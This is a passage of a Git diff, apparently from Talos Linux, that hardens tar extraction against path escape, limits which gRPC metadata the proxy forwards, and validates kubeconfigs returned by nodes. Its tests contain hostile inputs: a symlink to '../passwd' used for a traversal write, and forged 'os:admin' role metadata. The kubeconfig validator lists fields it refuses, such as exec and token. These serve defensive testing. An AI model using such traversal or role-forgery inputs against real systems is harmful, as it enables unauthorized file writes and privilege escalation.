(svirt_tcg_t)) +(typepermissive svirt_tcg_t) + +(type svirt_image_t) +(call common_f (svirt_image_t)) + +(type virt_content_t) +(call common_f (virt_content_t)) + +; libvirtd runs as init_t and transitions QEMU via setexeccon. +(allow init_t self (process (setexec))) +(allow init_t svirt_t (process (transition dyntransition))) +(allow init_t svirt_tcg_t (process (transition dyntransition))) + +; sVirt domains access their disk images and read-only content. +(allow svirt_t svirt_image_t (fs_classes (rw))) +(allow svirt_t virt_content_t (fs_classes (ro))) +(allow svirt_tcg_t svirt_image_t (fs_classes (rw))) +(allow svirt_tcg_t virt_content_t (fs_classes (ro))) diff --git a/pkg/archiver/untar.go b/pkg/archiver/untar.go index 11be6e5f3b6..20db87badf0 100644 --- a/pkg/archiver/untar.go +++ b/pkg/archiver/untar.go @@ -28,6 +28,13 @@ import ( func Untar(ctx context.Context, r io.Reader, rootPath string, xattrsMap map[string]string) error { tr := tar.NewReader(r) + root, err := os.OpenRoot(rootPath) + if err != nil { + return fmt.Errorf("error opening root path %q: %w", rootPath, err) + } + + defer root.Close() //nolint:errcheck + for { select { case <-ctx.Done(): @@ -44,43 +51,45 @@ func Untar(ctx context.Context, r io.Reader, rootPath string, xattrsMap map[stri return fmt.Errorf("error reading tar header: %s", err) } - hdrPath := safepath.CleanPath(hdr.Name) - if hdrPath == "" { - return errors.New("empty tar header path") + path := safepath.CleanPath(hdr.Name) + if filepath.IsAbs(path) { + path = path[1:] } - path := filepath.Join(rootPath, hdrPath) + if path == "" { + return errors.New("empty tar header path") + } switch hdr.Typeflag { case tar.TypeDir: mode := hdr.FileInfo().Mode() & os.ModePerm mode |= 0o700 // make rwx for the owner - if err = os.MkdirAll(path, mode); err != nil && !os.IsExist(err) { + if err = root.MkdirAll(path, mode); err != nil && !os.IsExist(err) { return fmt.Errorf("error creating directory %q mode %s: %w", path, mode, err) } - if err = os.Chmod(path, mode); err != nil { + if err = root.Chmod(path, mode); err != nil { return fmt.Errorf("error updating mode %s for %q: %w", mode, path, err) } case tar.TypeSymlink: - if err = os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + if err = root.MkdirAll(filepath.Dir(path), 0o700); err != nil { return fmt.Errorf("error creating parent directory for symlink %q: %w", path, err) } - if err = os.Symlink(hdr.Linkname, path); err != nil { + if err = root.Symlink(hdr.Linkname, path); err != nil { return fmt.Errorf("error creating symlink %q -> %q: %w", path, hdr.Linkname, err) } default: mode := hdr.FileInfo().Mode() - if err = os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + if err = root.MkdirAll(filepath.Dir(path), 0o700); err != nil { return fmt.Errorf("error creating parent directory for file %q: %w", path, err) } - fp, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_EXCL, mode) + fp, err := root.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_EXCL, mode.Perm()) if err != nil { return fmt.Errorf("error creating file %q mode %s: %w", path, mode, err) } @@ -94,13 +103,13 @@ func Untar(ctx context.Context, r io.Reader, rootPath string, xattrsMap map[stri return fmt.Errorf("error closing %q: %w", path, err) } - if err = os.Chmod(path, mode); err != nil { + if err = root.Chmod(path, mode); err != nil { return fmt.Errorf("error updating mode %s for %q: %w", mode, path, err) } } if hdr.PAXRecords[constants.TarPaxHeaderSELinux] != "" && xattrsMap != nil { - xattrsMap[path] = hdr.PAXRecords[constants.TarPaxHeaderSELinux] + xattrsMap[filepath.Join(rootPath, path)] = hdr.PAXRecords[constants.TarPaxHeaderSELinux] } } diff --git a/pkg/archiver/untar_test.go b/pkg/archiver/untar_test.go index eb2790fc88d..26cf241b163 100644 --- a/pkg/archiver/untar_test.go +++ b/pkg/archiver/untar_test.go @@ -7,27 +7,161 @@ package archiver_test import ( "archive/tar" "bytes" - "context" "os" "path/filepath" "testing" + "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "github.com/siderolabs/talos/pkg/archiver" ) -func TestUntarCreatesParentDirectories(t *testing.T) { +func TestUntar(t *testing.T) { + t.Parallel() + + type tarEntry struct { + header tar.Header + payload []byte + } + + for _, tc := range []struct { + name string + + entries []tarEntry + + verification func(t *testing.T, dir string, xattrs map[string]string) + }{ + { + name: "nested paths", + entries: []tarEntry{ + { + header: tar.Header{ + Name: "nested/path/file.txt", + Mode: 0o644, + }, + payload: []byte("hello"), + }, + }, + verification: func(t *testing.T, dir string, xattrs map[string]string) { + data, err := os.ReadFile(filepath.Join(dir, "nested/path/file.txt")) + require.NoError(t, err) + + assert.Equal(t, []byte("hello"), data) + assert.Empty(t, xattrs) + }, + }, + { + name: "abs path", + + entries: []tarEntry{ + { + header: tar.Header{ + Name: "/file.txt", + Mode: 0o644, + }, + payload: []byte("abs"), + }, + }, + verification: func(t *testing.T, dir string, xattrs map[string]string) { + data, err := os.ReadFile(filepath.Join(dir, "file.txt")) + require.NoError(t, err) + + assert.Equal(t, []byte("abs"), data) + assert.Empty(t, xattrs) + }, + }, + { + name: "xattrs", + + entries: []tarEntry{ + { + header: tar.Header{ + Name: "file.txt", + Mode: 0o644, + Xattrs: map[string]string{"security.selinux": "test_t"}, + }, + payload: []byte("xattrs"), + }, + }, + verification: func(t *testing.T, dir string, xattrs map[string]string) { + assert.Equal( + t, map[string]string{ + filepath.Join(dir, "file.txt"): "test_t", + }, + xattrs, + ) + }, + }, + { + name: "setuid file", + + entries: []tarEntry{ + { + header: tar.Header{ + Name: "setuid-file", + Mode: 0o4755, + }, + payload: []byte("setuid"), + }, + }, + verification: func(t *testing.T, dir string, xattrs map[string]string) { + info, err := os.Stat(filepath.Join(dir, "setuid-file")) + require.NoError(t, err) + + assert.Equal(t, os.FileMode(0o755), info.Mode().Perm()) + assert.NotZero(t, info.Mode()&os.ModeSetuid) + assert.Empty(t, xattrs) + }, + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + var buf bytes.Buffer + + tw := tar.NewWriter(&buf) + + for _, entry := range tc.entries { + header := entry.header + header.Size = int64(len(entry.payload)) + + require.NoError(t, tw.WriteHeader(&header)) + _, err := tw.Write(entry.payload) + require.NoError(t, err) + } + + require.NoError(t, tw.Close()) + + dir := t.TempDir() + + xattrsMap := map[string]string{} + + require.NoError(t, archiver.Untar(t.Context(), bytes.NewReader(buf.Bytes()), dir, xattrsMap)) + + tc.verification(t, dir, xattrsMap) + }) + } +} + +func TestUntarUnsafeSymlink(t *testing.T) { t.Parallel() var buf bytes.Buffer tw := tar.NewWriter(&buf) - payload := []byte("hello") + require.NoError(t, tw.WriteHeader(&tar.Header{ + Name: "symlink", + Typeflag: tar.TypeSymlink, + Linkname: "../passwd", + Mode: 0o644, + })) + + payload := []byte("oops!") require.NoError(t, tw.WriteHeader(&tar.Header{ - Name: "nested/path/file.txt", + Name: "symlink/a.txt", Mode: 0o644, Size: int64(len(payload)), })) @@ -38,9 +172,14 @@ func TestUntarCreatesParentDirectories(t *testing.T) { dir := t.TempDir() - require.NoError(t, archiver.Untar(context.Background(), bytes.NewReader(buf.Bytes()), dir, nil)) + extractDir := filepath.Join(dir, "extract") + symlinkedDir := filepath.Join(dir, "symlink") - data, err := os.ReadFile(filepath.Join(dir, "nested/path/file.txt")) - require.NoError(t, err) - require.Equal(t, payload, data) + require.NoError(t, os.MkdirAll(extractDir, 0o755)) + require.NoError(t, os.MkdirAll(symlinkedDir, 0o755)) + + err = archiver.Untar(t.Context(), bytes.NewReader(buf.Bytes()), extractDir, nil) + + require.Error(t, err) + require.ErrorContains(t, err, "path escapes from parent") } diff --git a/pkg/cluster/check/reporter.go b/pkg/cluster/check/reporter.go index 21460fa4913..9990d0825b9 100644 --- a/pkg/cluster/check/reporter.go +++ b/pkg/cluster/check/reporter.go @@ -23,9 +23,9 @@ func (r *ConditionReporter) Update(condition conditions.Condition) { } // StderrReporter returns console reporter with stderr output. -func StderrReporter() *ConditionReporter { +func StderrReporter(opts ...reporter.Option) *ConditionReporter { return &ConditionReporter{ - w: reporter.New(), + w: reporter.New(opts...), } } diff --git a/pkg/cluster/kubernetes.go b/pkg/cluster/kubernetes.go index c916676c6e9..4ab46d2f272 100644 --- a/pkg/cluster/kubernetes.go +++ b/pkg/cluster/kubernetes.go @@ -15,6 +15,7 @@ import ( "k8s.io/client-go/tools/clientcmd" clientcmdapi "k8s.io/client-go/tools/clientcmd/api" + "github.com/siderolabs/talos/pkg/kubeconfig" k8s "github.com/siderolabs/talos/pkg/kubernetes" "github.com/siderolabs/talos/pkg/machinery/constants" ) @@ -46,9 +47,20 @@ func (k *KubernetesClient) Kubeconfig(ctx context.Context) ([]byte, error) { return nil, err } - k.kubeconfig, err = client.Kubeconfig(ctx) + kubeconfigBytes, err := client.Kubeconfig(ctx) + if err != nil { + return nil, err + } + + // the kubeconfig comes from the node, so it is untrusted input: make sure it is + // a plain kubeconfig as generated by Talos before it is used or written out. + if _, err = kubeconfig.LoadAndValidate(kubeconfigBytes); err != nil { + return nil, err + } + + k.kubeconfig = kubeconfigBytes - return k.kubeconfig, err + return k.kubeconfig, nil } // K8sRestConfig returns *rest.Config (parsed kubeconfig). diff --git a/pkg/grpc/middleware/authz/metadata.go b/pkg/grpc/middleware/authz/metadata.go index 62214dcc904..20e7979ae1b 100644 --- a/pkg/grpc/middleware/authz/metadata.go +++ b/pkg/grpc/middleware/authz/metadata.go @@ -17,9 +17,19 @@ import ( // Should be used only in this file. const mdKey = constants.APIAuthzRoleMetadataKey -// SetMetadata sets given roles in gRPC metadata. +// SetMetadata sets given roles in gRPC metadata, replacing any value already present. +// +// An empty role set removes the key. func SetMetadata(md metadata.MD, roles role.Set) { - md.Set(mdKey, roles.Strings()...) + roleStrings := roles.Strings() + + if len(roleStrings) == 0 { + md.Delete(mdKey) + + return + } + + md.Set(mdKey, roleStrings...) } // getFromMetadata returns roles extracted from gRPC metadata. diff --git a/pkg/grpc/middleware/authz/metadata_test.go b/pkg/grpc/middleware/authz/metadata_test.go new file mode 100644 index 00000000000..44cb938d492 --- /dev/null +++ b/pkg/grpc/middleware/authz/metadata_test.go @@ -0,0 +1,61 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package authz_test + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "google.golang.org/grpc/metadata" + + "github.com/siderolabs/talos/pkg/grpc/middleware/authz" + "github.com/siderolabs/talos/pkg/machinery/role" +) + +func TestSetMetadata(t *testing.T) { + t.Parallel() + + for _, test := range []struct { + name string + roles role.Set + expected []string + }{ + { + name: "single role", + roles: role.MakeSet(role.Reader), + expected: []string{"os:reader"}, + }, + { + name: "multiple roles are sorted", + roles: role.MakeSet(role.Reader, role.Admin), + expected: []string{"os:admin", "os:reader"}, + }, + { + name: "empty role set removes the key", + roles: role.Zero, + expected: nil, + }, + } { + t.Run(test.name, func(t *testing.T) { + t.Parallel() + + md := metadata.New(map[string]string{"talos-role": "os:admin"}) + + authz.SetMetadata(md, test.roles) + + assert.Equal(t, test.expected, md.Get("talos-role")) + }) + } + + t.Run("empty role set on empty metadata", func(t *testing.T) { + t.Parallel() + + md := metadata.MD{} + + authz.SetMetadata(md, role.Zero) + + assert.Empty(t, md.Get("talos-role")) + }) +} diff --git a/pkg/grpc/proxy/backend/local.go b/pkg/grpc/proxy/backend/local.go index 085d9da875d..e9b7082decd 100644 --- a/pkg/grpc/proxy/backend/local.go +++ b/pkg/grpc/proxy/backend/local.go @@ -13,7 +13,6 @@ import ( "google.golang.org/grpc/credentials/insecure" "google.golang.org/grpc/metadata" - "github.com/siderolabs/talos/pkg/grpc/middleware/authz" "github.com/siderolabs/talos/pkg/machinery/constants" ) @@ -42,12 +41,7 @@ func (l *Local) String() string { // GetConnection returns a grpc connection to the backend. func (l *Local) GetConnection(ctx context.Context, _ string) (context.Context, *grpc.ClientConn, error) { - md, _ := metadata.FromIncomingContext(ctx) - md = md.Copy() - - authz.SetMetadata(md, authz.GetRoles(ctx)) - - outCtx := metadata.NewOutgoingContext(ctx, md) + outCtx := metadata.NewOutgoingContext(ctx, OutgoingMetadata(ctx)) l.mu.Lock() defer l.mu.Unlock() diff --git a/pkg/grpc/proxy/backend/local_test.go b/pkg/grpc/proxy/backend/local_test.go index 33fd16adde4..fd0a0730f0d 100644 --- a/pkg/grpc/proxy/backend/local_test.go +++ b/pkg/grpc/proxy/backend/local_test.go @@ -21,6 +21,7 @@ func TestLocalGetConnection(t *testing.T) { l := backend.NewLocal("test", "/tmp/test.sock") md1 := metadata.New(nil) + md1.Set("runtime", "Talos") md1.Set("key", "value1", "value2") ctx1 := metadata.NewIncomingContext(authz.ContextWithRoles(t.Context(), role.MakeSet(role.Admin)), md1) @@ -31,8 +32,9 @@ func TestLocalGetConnection(t *testing.T) { mdOut1, ok1 := metadata.FromOutgoingContext(outCtx1) assert.True(t, ok1) - assert.Equal(t, []string{"value1", "value2"}, mdOut1.Get("key")) + assert.Equal(t, []string{"Talos"}, mdOut1.Get("runtime")) assert.Equal(t, []string{"os:admin"}, mdOut1.Get("talos-role")) + assert.Empty(t, mdOut1.Get("key")) // not allowlisted for proxying t.Run("Same context", func(t *testing.T) { t.Parallel() @@ -45,14 +47,16 @@ func TestLocalGetConnection(t *testing.T) { mdOut2, ok2 := metadata.FromOutgoingContext(outCtx2) assert.True(t, ok2) - assert.Equal(t, []string{"value1", "value2"}, mdOut2.Get("key")) + assert.Equal(t, []string{"Talos"}, mdOut2.Get("runtime")) assert.Equal(t, []string{"os:admin"}, mdOut2.Get("talos-role")) + assert.Empty(t, mdOut2.Get("key")) }) t.Run("Other context", func(t *testing.T) { t.Parallel() md3 := metadata.New(nil) + md3.Set("runtime", "Talos") md3.Set("key", "value3", "value4") ctx3 := metadata.NewIncomingContext(authz.ContextWithRoles(t.Context(), role.MakeSet(role.Reader)), md3) @@ -63,7 +67,8 @@ func TestLocalGetConnection(t *testing.T) { mdOut3, ok3 := metadata.FromOutgoingContext(outCtx3) assert.True(t, ok3) - assert.Equal(t, []string{"value3", "value4"}, mdOut3.Get("key")) + assert.Equal(t, []string{"Talos"}, mdOut3.Get("runtime")) assert.Equal(t, []string{"os:reader"}, mdOut3.Get("talos-role")) + assert.Empty(t, mdOut3.Get("key")) }) } diff --git a/pkg/grpc/proxy/backend/metadata.go b/pkg/grpc/proxy/backend/metadata.go new file mode 100644 index 00000000000..ab0bb5fb3f3 --- /dev/null +++ b/pkg/grpc/proxy/backend/metadata.go @@ -0,0 +1,49 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package backend + +import ( + "context" + "slices" + + "github.com/siderolabs/gen/xslices" + "google.golang.org/grpc/metadata" + + "github.com/siderolabs/talos/pkg/grpc/middleware/authz" +) + +// forwardedMetadataKeys is the allowlist of gRPC metadata keys copied from the incoming +// request to the request proxied to a backend. +// +// Anything not listed here is dropped. +// +// Adding a key here hands the caller control over it, so only add keys which are purely +// informational. +// +// Keys must be canonical (lowercase) gRPC metadata keys. +var forwardedMetadataKeys = xslices.ToSet([]string{ + "context", // set by the Talos client to the client configuration context name, logged by the backend + "runtime", // set by the Talos client, logged by the backend +}) + +// OutgoingMetadata builds the metadata for a request proxied to a backend. +// +// It contains the allowlisted keys of the incoming request metadata, plus the roles as +// resolved by this proxy instance for this request. +func OutgoingMetadata(ctx context.Context) metadata.MD { + incomingMD, _ := metadata.FromIncomingContext(ctx) + + md := metadata.MD{} + + for key, values := range incomingMD { + if _, ok := forwardedMetadataKeys[key]; ok { + md[key] = slices.Clone(values) + } + } + + authz.SetMetadata(md, authz.GetRoles(ctx)) + + return md +} diff --git a/pkg/grpc/proxy/backend/metadata_test.go b/pkg/grpc/proxy/backend/metadata_test.go new file mode 100644 index 00000000000..c678fd5214e --- /dev/null +++ b/pkg/grpc/proxy/backend/metadata_test.go @@ -0,0 +1,78 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package backend_test + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "google.golang.org/grpc/metadata" + + "github.com/siderolabs/talos/pkg/grpc/middleware/authz" + "github.com/siderolabs/talos/pkg/grpc/proxy/backend" + "github.com/siderolabs/talos/pkg/machinery/role" +) + +func TestOutgoingMetadata(t *testing.T) { + t.Parallel() + + // metadata a hostile caller might send: authorization, routing, authentication and + // the proxy's own loop marker, plus arbitrary keys + callerMD := metadata.New(map[string]string{ + "talos-role": "os:admin", + "token": "some-secret", + "node": "10.0.0.1", + "nodes": "10.0.0.2", + "proxyfrom": "10.0.0.3", + "peer": "10.0.0.4", + "whatever": "value", + ":authority": "10.0.0.5", + // allowlisted, purely informational + "runtime": "Talos", + "context": "cluster-1", + }) + + for _, test := range []struct { + name string + roles role.Set + expectedRoles []string + }{ + { + name: "roles resolved", + roles: role.MakeSet(role.Reader), + expectedRoles: []string{"os:reader"}, + }, + { + // the GHSA-rjwj-368c-f82r case: a credential naming no roles (e.g. a + // certificate with an empty Subject Organization) must not keep the + // 'talos-role' it sent, or the backend authorizes it as os:admin + name: "no roles resolved", + roles: role.Zero, + expectedRoles: nil, + }, + } { + t.Run(test.name, func(t *testing.T) { + t.Parallel() + + ctx := metadata.NewIncomingContext(authz.ContextWithRoles(t.Context(), test.roles), callerMD) + + md := backend.OutgoingMetadata(ctx) + + assert.Equal(t, test.expectedRoles, md.Get("talos-role")) + + // forwarded: informational only + assert.Equal(t, []string{"Talos"}, md.Get("runtime")) + assert.Equal(t, []string{"cluster-1"}, md.Get("context")) + + // dropped: owned by the proxy, or meaningless to the backend + for _, key := range []string{"token", "node", "nodes", "proxyfrom", "peer", "whatever", ":authority"} { + assert.Empty(t, md.Get(key), "%q must not be proxied", key) + } + + // the incoming metadata is never mutated + assert.Equal(t, []string{"os:admin"}, callerMD.Get("talos-role")) + }) + } +} diff --git a/pkg/imager/filemap/filemap_norace_test.go b/pkg/imager/filemap/filemap_norace_test.go new file mode 100644 index 00000000000..18cb7fea0a7 --- /dev/null +++ b/pkg/imager/filemap/filemap_norace_test.go @@ -0,0 +1,57 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +//go:build !race + +package filemap_test + +import ( + "crypto/rand" + "os" + "path/filepath" + "runtime" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/siderolabs/talos/pkg/imager/filemap" +) + +// TestLayerHeapUsage guards against the layer memoizing its compressed contents on the heap, +// the way tarball.WithCompressedCaching does. +func TestLayerHeapUsage(t *testing.T) { + const payloadSize = 32 << 20 + + sourceDir := t.TempDir() + + // random, hence incompressible: the layer cannot end up much smaller than the payload. + payload := make([]byte, payloadSize) + _, err := rand.Read(payload) + require.NoError(t, err) + + require.NoError(t, os.WriteFile(filepath.Join(sourceDir, "payload"), payload, 0o644)) + + artifacts, err := filemap.Walk(sourceDir, "") + require.NoError(t, err) + + var before, after runtime.MemStats + + runtime.GC() + runtime.ReadMemStats(&before) + + layer, err := filemap.Layer(t.TempDir(), artifacts) + require.NoError(t, err) + + size, err := layer.Size() + require.NoError(t, err) + require.Greater(t, size, int64(payloadSize/2), "payload compressed further than expected, test is not measuring anything") + + runtime.GC() + runtime.ReadMemStats(&after) + + runtime.KeepAlive(layer) + + assert.Less(t, after.HeapAlloc, before.HeapAlloc+payloadSize/2, "layer retains its compressed contents on the heap") +} diff --git a/pkg/imager/filemap/filemap_test.go b/pkg/imager/filemap/filemap_test.go index e88670cb126..af5397f1c84 100644 --- a/pkg/imager/filemap/filemap_test.go +++ b/pkg/imager/filemap/filemap_test.go @@ -6,11 +6,9 @@ package filemap_test import ( "bytes" - "crypto/rand" "io" "os" "path/filepath" - "runtime" "testing" "github.com/google/go-containerregistry/pkg/v1/tarball" @@ -155,40 +153,3 @@ func TestLayerDigestParity(t *testing.T) { assert.Equal(t, referenceSize, stagedSize) } - -// TestLayerHeapUsage guards against the layer memoizing its compressed contents on the heap, -// the way tarball.WithCompressedCaching does. -func TestLayerHeapUsage(t *testing.T) { - const payloadSize = 32 << 20 - - sourceDir := t.TempDir() - - // random, hence incompressible: the layer cannot end up much smaller than the payload. - payload := make([]byte, payloadSize) - _, err := rand.Read(payload) - require.NoError(t, err) - - require.NoError(t, os.WriteFile(filepath.Join(sourceDir, "payload"), payload, 0o644)) - - artifacts, err := filemap.Walk(sourceDir, "") - require.NoError(t, err) - - var before, after runtime.MemStats - - runtime.GC() - runtime.ReadMemStats(&before) - - layer, err := filemap.Layer(t.TempDir(), artifacts) - require.NoError(t, err) - - size, err := layer.Size() - require.NoError(t, err) - require.Greater(t, size, int64(payloadSize/2), "payload compressed further than expected, test is not measuring anything") - - runtime.GC() - runtime.ReadMemStats(&after) - - runtime.KeepAlive(layer) - - assert.Less(t, after.HeapAlloc, before.HeapAlloc+payloadSize/2, "layer retains its compressed contents on the heap") -} diff --git a/pkg/kubeconfig/generate_test.go b/pkg/kubeconfig/generate_test.go index c4e775e116f..e5e40403a2f 100644 --- a/pkg/kubeconfig/generate_test.go +++ b/pkg/kubeconfig/generate_test.go @@ -71,6 +71,9 @@ func (suite *GenerateSuite) TestGenerateAdmin() { suite.Require().NoError(err) suite.Assert().NoError(clientcmd.ConfirmUsable(*config, fmt.Sprintf("admin@%s", cfg.K8sClusterConfig().ClusterName()))) + + // whatever Talos generates should always pass the validation talosctl applies to it + suite.Assert().NoError(kubeconfig.Validate(config)) }) } } @@ -107,6 +110,7 @@ func (suite *GenerateSuite) TestGenerate() { suite.Require().NoError(err) suite.Assert().NoError(clientcmd.ConfirmUsable(*config, "kube-controller-manager@foo")) + suite.Assert().NoError(kubeconfig.Validate(config)) } func TestGenerateSuite(t *testing.T) { diff --git a/pkg/kubeconfig/validate.go b/pkg/kubeconfig/validate.go new file mode 100644 index 00000000000..a314b8bce91 --- /dev/null +++ b/pkg/kubeconfig/validate.go @@ -0,0 +1,279 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package kubeconfig + +import ( + "bytes" + "crypto/tls" + stdlibx509 "crypto/x509" + "encoding/pem" + "errors" + "fmt" + "maps" + "net/url" + "slices" + "strings" + "unicode" + "unicode/utf8" + + "k8s.io/client-go/tools/clientcmd" + clientcmdapi "k8s.io/client-go/tools/clientcmd/api" +) + +// defaultNamespace is the namespace Talos always sets on the generated context. +const defaultNamespace = "default" + +// ErrInvalidKubeconfig is returned when the kubeconfig doesn't match the structure Talos generates. +var ErrInvalidKubeconfig = errors.New("kubeconfig doesn't match the structure generated by Talos") + +// LoadAndValidate parses the kubeconfig and validates it with [Validate]. +// +// This should be used for any kubeconfig which comes back over the Talos API before it is +// used to build a Kubernetes client or written to the operator's filesystem. +func LoadAndValidate(data []byte) (*clientcmdapi.Config, error) { + config, err := clientcmd.Load(data) + if err != nil { + return nil, fmt.Errorf("error parsing kubeconfig: %w", err) + } + + if err = Validate(config); err != nil { + return nil, err + } + + return config, nil +} + +// Validate checks that the kubeconfig matches exactly the structure [Generate] produces: +// a single cluster with the server URL and the server CA, a single user with a client +// certificate and key, and a single context tying them together. +// +//nolint:gocyclo,cyclop +func Validate(config *clientcmdapi.Config) error { + var multiErr []error + + // Talos always generates kind/apiVersion, but clientcmd.Load strips the TypeMeta while + // decoding, so an empty value here means "not present in the decoded config", not "not set + // in the kubeconfig": only a mismatching value can be rejected. + if config.Kind != "" && config.Kind != "Config" { + multiErr = append(multiErr, fmt.Errorf("unexpected kind %q", config.Kind)) + } + + if config.APIVersion != "" && config.APIVersion != "v1" { + multiErr = append(multiErr, fmt.Errorf("unexpected apiVersion %q", config.APIVersion)) + } + + if config.Preferences.Colors || len(config.Preferences.Extensions) > 0 { + multiErr = append(multiErr, errors.New("top-level field \"preferences\" is not allowed")) + } + + if len(config.Extensions) > 0 { + multiErr = append(multiErr, errors.New("top-level field \"extensions\" is not allowed")) + } + + clusterName, cluster, err := single(config.Clusters, "cluster") + if err != nil { + multiErr = append(multiErr, err) + } else { + multiErr = append(multiErr, validateName("cluster", clusterName)) + multiErr = append(multiErr, validateCluster(cluster)...) + } + + authInfoName, authInfo, err := single(config.AuthInfos, "user") + if err != nil { + multiErr = append(multiErr, err) + } else { + multiErr = append(multiErr, validateName("user", authInfoName)) + multiErr = append(multiErr, validateAuthInfo(authInfo)...) + } + + contextName, kubeContext, err := single(config.Contexts, "context") + if err != nil { + multiErr = append(multiErr, err) + } else { + multiErr = append(multiErr, validateName("context", contextName)) + multiErr = append(multiErr, validateContext(kubeContext, clusterName, authInfoName)...) + + if config.CurrentContext != contextName { + multiErr = append(multiErr, fmt.Errorf("current-context %q doesn't match the only context %q", config.CurrentContext, contextName)) + } + } + + if err = errors.Join(multiErr...); err != nil { + return fmt.Errorf("%w: %w", ErrInvalidKubeconfig, err) + } + + return nil +} + +func validateCluster(cluster *clientcmdapi.Cluster) []error { + var multiErr []error + + switch u, err := url.Parse(cluster.Server); { + case cluster.Server == "": + multiErr = append(multiErr, errors.New("cluster field \"server\" is not set")) + case err != nil: + multiErr = append(multiErr, fmt.Errorf("error parsing cluster field \"server\": %w", err)) + case u.Scheme != "https" && u.Scheme != "http": + multiErr = append(multiErr, fmt.Errorf("unexpected cluster server URL scheme %q", u.Scheme)) + case u.Host == "": + multiErr = append(multiErr, errors.New("cluster server URL has no host")) + case u.User != nil: + multiErr = append(multiErr, errors.New("cluster server URL has embedded credentials")) + } + + if len(cluster.CertificateAuthorityData) == 0 { + multiErr = append(multiErr, errors.New("cluster field \"certificate-authority-data\" is not set")) + } else if err := validateCertificates(cluster.CertificateAuthorityData); err != nil { + multiErr = append(multiErr, fmt.Errorf("invalid cluster field \"certificate-authority-data\": %w", err)) + } + + return append(multiErr, disallowed("cluster", map[string]bool{ + "certificate-authority": cluster.CertificateAuthority != "", + "disable-compression": cluster.DisableCompression, + "extensions": len(cluster.Extensions) > 0, + "insecure-skip-tls-verify": cluster.InsecureSkipTLSVerify, + "proxy-url": cluster.ProxyURL != "", + "tls-server-name": cluster.TLSServerName != "", + })...) +} + +func validateAuthInfo(authInfo *clientcmdapi.AuthInfo) []error { + var multiErr []error + + switch { + case len(authInfo.ClientCertificateData) == 0: + multiErr = append(multiErr, errors.New("user field \"client-certificate-data\" is not set")) + case len(authInfo.ClientKeyData) == 0: + multiErr = append(multiErr, errors.New("user field \"client-key-data\" is not set")) + default: + if err := validateCertificates(authInfo.ClientCertificateData); err != nil { + multiErr = append(multiErr, fmt.Errorf("invalid user field \"client-certificate-data\": %w", err)) + } + + // this also verifies that the key matches the certificate + if _, err := tls.X509KeyPair(authInfo.ClientCertificateData, authInfo.ClientKeyData); err != nil { + multiErr = append(multiErr, fmt.Errorf("invalid client certificate and key pair: %w", err)) + } + } + + return append(multiErr, disallowed("user", map[string]bool{ + "act-as": authInfo.Impersonate != "", + "act-as-groups": len(authInfo.ImpersonateGroups) > 0, + "act-as-uid": authInfo.ImpersonateUID != "", + "act-as-user-extra": len(authInfo.ImpersonateUserExtra) > 0, + "auth-provider": authInfo.AuthProvider != nil, + "client-certificate": authInfo.ClientCertificate != "", + "client-key": authInfo.ClientKey != "", + "exec": authInfo.Exec != nil, + "extensions": len(authInfo.Extensions) > 0, + "password": authInfo.Password != "", + "token": authInfo.Token != "", + "tokenFile": authInfo.TokenFile != "", + "username": authInfo.Username != "", + })...) +} + +// validateContext validates the context; clusterName and authInfoName are empty if the +// cluster/user sections failed to validate, in which case there is nothing to cross-check against. +func validateContext(kubeContext *clientcmdapi.Context, clusterName, authInfoName string) []error { + var multiErr []error + + if clusterName != "" && kubeContext.Cluster != clusterName { + multiErr = append(multiErr, fmt.Errorf("context references cluster %q, expected %q", kubeContext.Cluster, clusterName)) + } + + if authInfoName != "" && kubeContext.AuthInfo != authInfoName { + multiErr = append(multiErr, fmt.Errorf("context references user %q, expected %q", kubeContext.AuthInfo, authInfoName)) + } + + if kubeContext.Namespace != defaultNamespace { + multiErr = append(multiErr, fmt.Errorf("unexpected context namespace %q, expected %q", kubeContext.Namespace, defaultNamespace)) + } + + return append(multiErr, disallowed("context", map[string]bool{ + "extensions": len(kubeContext.Extensions) > 0, + })...) +} + +// disallowed builds an error for each field which Talos never generates but which is set. +func disallowed(kind string, fields map[string]bool) []error { + var multiErr []error + + for _, name := range slices.Sorted(maps.Keys(fields)) { + if fields[name] { + multiErr = append(multiErr, fmt.Errorf("%s field %q is not allowed", kind, name)) + } + } + + return multiErr +} + +// validateCertificates checks that data is a non-empty sequence of PEM-encoded certificates +// and nothing else. +func validateCertificates(data []byte) error { + rest := data + + var count int + + for { + var block *pem.Block + + if block, rest = pem.Decode(rest); block == nil { + break + } + + if block.Type != "CERTIFICATE" { + return fmt.Errorf("unexpected PEM block type %q", block.Type) + } + + if _, err := stdlibx509.ParseCertificate(block.Bytes); err != nil { + return fmt.Errorf("error parsing certificate: %w", err) + } + + count++ + } + + if count == 0 { + return errors.New("no PEM-encoded certificates found") + } + + if len(bytes.TrimSpace(rest)) > 0 { + return errors.New("trailing data after the PEM-encoded certificates") + } + + return nil +} + +// validateName rejects names which Talos would never generate and which would end up +// in the operator's kubeconfig (and on their terminal) as-is. +func validateName(kind, name string) error { + switch { + case name == "": + return fmt.Errorf("%s name is empty", kind) + case !utf8.ValidString(name): + return fmt.Errorf("%s name is not valid UTF-8", kind) + case strings.ContainsFunc(name, unicode.IsControl): + return fmt.Errorf("%s name contains control characters", kind) + } + + return nil +} + +// single returns the only entry of the map, 